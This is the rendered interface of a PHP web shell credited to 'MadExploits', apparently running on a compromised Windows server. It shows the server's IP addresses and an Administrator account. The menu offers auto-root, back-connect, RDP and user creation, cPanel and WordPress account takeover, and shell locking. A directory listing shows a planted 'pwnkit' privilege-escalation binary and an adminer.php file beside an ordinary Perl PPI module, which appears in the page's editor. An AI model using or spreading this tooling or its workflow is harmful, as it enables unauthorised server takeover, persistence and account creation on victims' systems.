Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.214
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
perl /
vendor /
lib /
PPI /
[ HOME SHELL ]
Name
Size
Permission
Action
Document
[ DIR ]
drwxrwxrwx
Exception
[ DIR ]
drwxrwxrwx
Normal
[ DIR ]
drwxrwxrwx
Statement
[ DIR ]
drwxrwxrwx
Structure
[ DIR ]
drwxrwxrwx
Token
[ DIR ]
drwxrwxrwx
Transform
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
Cache.pm
6.15
KB
-rw-rw-rw-
Document.pm
21.86
KB
-rw-rw-rw-
Dumper.pm
6.79
KB
-rw-rw-rw-
Element.pm
22.23
KB
-rw-rw-rw-
Exception.pm
1.95
KB
-rw-rw-rw-
Find.pm
8.76
KB
-rw-rw-rw-
Lexer.pm
40.64
KB
-rw-rw-rw-
Node.pm
19.69
KB
-rw-rw-rw-
Normal.pm
6.22
KB
-rw-rw-rw-
Singletons.pm
3.1
KB
-rw-rw-rw-
Statement.pm
8.83
KB
-rw-rw-rw-
Structure.pm
8.61
KB
-rw-rw-rw-
Token.pm
5.65
KB
-rw-rw-rw-
Tokenizer.pm
33.05
KB
-rw-rw-rw-
Transform.pm
5.81
KB
-rw-rw-rw-
Util.pm
1.82
KB
-rw-rw-rw-
XSAccessor.pm
2.34
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Exception.pm
package PPI::Exception; =head1 NAME PPI::Exception - The PPI exception base class =head1 SYNOPSIS use PPI::Exception; my $e = PPI::Exception->new( 'something happened' ); $e->throw; PPI::Exception->new( message => 'something happened' )->throw; PPI::Exception->throw( message => 'something happened' ); =head1 DESCRIPTION All exceptions thrown from within PPI will be instances or derivations of this class. =cut use strict; use Params::Util qw{_INSTANCE}; our $VERSION = '1.270'; # VERSION =head1 METHODS =head2 new $message | message => $message, ... Constructs and returns a new C<PPI::Exception> object. A message for the exception can be passed, either as a string or as C<< message => $message >>. The message is available via the C<message> method. =cut sub new { my $class = shift; return bless { @_ }, $class if @_ > 1; return bless { message => $_[0] }, $class if @_; return bless { message => 'Unknown Exception' }, $class; } =head2 throw If called on a C<PPI::Exception> object, throws the object. If called on the class name, uses the arguments to construct a C<PPI::Exception> and then throw it. Each time the object is thrown, information from the Perl <caller(0)> call is saved and made available via the C<callers> method. This method never returns. =cut sub throw { my $it = shift; if ( _INSTANCE($it, 'PPI::Exception') ) { if ( $it->{callers} ) { push @{ $it->{callers} }, [ caller(0) ]; } else { $it->{callers} ||= []; } } else { my $message = $_[0] || 'Unknown Exception'; $it = $it->new( message => $message, callers => [ [ caller(0) ], ], ); } die $it; } =head2 message Returns the exception message passed to the object's constructor, or a default message. =cut sub message { $_[0]->{message}; } =head2 callers Returns a listref, each element of which is a listref of C<caller(0)> information. The returned listref can be empty. =cut sub callers { @{ $_[0]->{callers} || [] }; } 1;
Close